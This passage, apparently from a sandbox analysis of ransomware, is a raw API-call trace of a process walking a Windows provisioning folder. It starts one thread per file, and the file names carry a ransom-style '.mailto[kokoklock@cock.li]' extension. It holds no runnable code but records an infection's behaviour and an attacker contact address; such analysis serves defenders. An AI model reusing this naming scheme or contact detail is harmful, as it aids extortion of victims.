ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8ddc6057, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="171__C~1.D0E")) returned 1 [0177.573] wcscmp (_String1="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.573] wcscmp (_String1="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.573] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2ff0a08 [0177.573] wcscpy (in: _Dest=0x2ff0a08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.573] wcscat (in: _Dest=0x2ff0a08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.573] wcscat (in: _Dest=0x2ff0a08, _Source="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0177.573] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8ddec4c6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="172__C~1.D0E")) returned 1 [0177.574] wcscmp (_String1="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.574] wcscmp (_String1="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x2ff1530 [0177.574] wcscpy (in: _Dest=0x2ff1530, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.574] wcscat (in: _Dest=0x2ff1530, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.574] wcscat (in: _Dest=0x2ff1530, _Source="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0177.574] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8de12533, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="173__C~1.D0E")) returned 1 [0177.574] wcscmp (_String1="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.574] wcscmp (_String1="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x2ff0ba0 [0177.574] wcscpy (in: _Dest=0x2ff0ba0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.575] wcscat (in: _Dest=0x2ff0ba0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.575] wcscat (in: _Dest=0x2ff0ba0, _Source="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0ba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0177.575] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8de3867f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x342, dwReserved0=0x0, dwReserved1=0x0, cFileName="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="174__C~1.D0E")) returned 1 [0177.575] wcscmp (_String1="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.575] wcscmp (_String1="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.575] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18a) returned 0x2faa7a8 [0177.575] wcscpy (in: _Dest=0x2faa7a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.575] wcscat (in: _Dest=0x2faa7a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.575] wcscat (in: _Dest=0x2faa7a8, _Source="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faa7a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b0 [0177.576] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8de84c87, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="175__C~1.D0E")) returned 1 [0177.576] wcscmp (_String1="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.576] wcscmp (_String1="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x186) returned 0x2ff1068 [0177.576] wcscpy (in: _Dest=0x2ff1068, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.576] wcscat (in: _Dest=0x2ff1068, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.576] wcscat (in: _Dest=0x2ff1068, _Source="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0177.577] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8deaae06, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x393, dwReserved0=0x0, dwReserved1=0x0, cFileName="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="176__C~1.D0E")) returned 1 [0177.577] wcscmp (_String1="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.577] wcscmp (_String1="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.577] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x186) returned 0x2ff1398 [0177.577] wcscpy (in: _Dest=0x2ff1398, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.577] wcscat (in: _Dest=0x2ff1398, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.577] wcscat (in: _Dest=0x2ff1398, _Source="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0177.578] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8ded1060, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="177__C~1.D0E")) returned 1 [0177.578] wcscmp (_String1="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.578] wcscmp (_String1="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.578] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x186) returned 0x2fcf7f8 [0177.579] wcscpy (in: _Dest=0x2fcf7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.579] wcscat (in: _Dest=0x2fcf7f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.579] wcscat (in: _Dest=0x2fcf7f8, _Source="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcf7f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0177.579] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8def731f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x0, cFileName="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="178__C~1.D0E")) returned 1 [0177.580] wcscmp (_String1="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.580] wcscmp (_String1="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.580] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x186) returned 0x2fcfb28 [0177.580] wcscpy (in: _Dest=0x2fcfb28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.580] wcscat (in: _Dest=0x2fcfb28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.580] wcscat (in: _Dest=0x2fcfb28, _Source="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcfb28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0177.580] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8df1d573, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x394, dwReserved0=0x0, dwReserved1=0x0, cFileName="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="179__C~1.D0E")) returned 1 [0177.580] wcscmp (_String1="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.580] wcscmp (_String1="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.581] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x186) returned 0x2fcfff0 [0177.581] wcscpy (in: _Dest=0x2fcfff0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.581] wcscat (in: _Dest=0x2fcfff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.581] wcscat (in: _Dest=0x2fcfff0, _Source="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fcfff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0177.581] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8df4378f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x394, dwReserved0=0x0, dwReserved1=0x0, cFileName="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="17__CO~1.D0E")) returned 1 [0177.581] wcscmp (_String1="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.581] wcscmp (_String1="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.581] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2fd0650 [0177.581] wcscpy (in: _Dest=0x2fd0650, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.581] wcscat (in: _Dest=0x2fd0650, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.581] wcscat (in: _Dest=0x2fd0650, _Source="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fd0650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0177.582] FindNextFileW (in: 